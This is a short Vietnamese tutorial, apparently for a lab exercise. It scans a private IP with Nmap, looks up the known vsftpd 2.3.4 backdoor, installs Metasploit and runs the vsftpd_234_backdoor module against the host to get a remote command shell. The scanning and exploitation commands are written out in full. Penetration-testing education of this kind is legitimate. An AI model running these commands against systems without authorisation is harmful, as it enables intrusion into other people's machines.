- Yêu cầu:
- Yêu cầu hệ thống, công cụ:
- CPU 2GHz
- RAM 4GB
- Disk 1GB available
- Nmap
- Metasploit
- Hướng dẫn:
- Cài đặt và sử dụng NMAP
- Cài đặt NMAP trên Centos
- Sử dụng NMAP
sudo nmap -sV -O -v 10.215.27.98
Kết quả thu được sẽ có port dịch vụ, trạng thái port, tên dịch vụ, version dịch vụ.
Từ các thông tin này search gg để tìm lỗ hổng hiện có của version đó.
Ví dụ: tìm lỗ hổng của dịch vụ FTP: search Vulnerability vsftpd 2.3.4
Tại đây mình sẽ tìm được tên lỗ hổng và cách khai thác và lỗ hổng.
- Cài đặt Metasploit:
- Tạo thư mục Metasploit và tải package install:
cd metasploit
curl https://raw.githubusercontent.com/ra.../msfupdate.erb > msfinstall
- Cài đặt Metasploit
./msfinstall
- Tạo Database cho Metasploit
- Kiểm tra version Metasploit:
- Truy cập Metasploit
- Khai thác lỗ hổng vsftpd
Sử dụng Metasploit để khai thác lỗ hổng này.
Dùng search vsftpd trong Metasploit
Tiến hành khai thác:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.215.27.98
exploit
Vậy là chúng ta đã có thể chạy được command shell của máy remote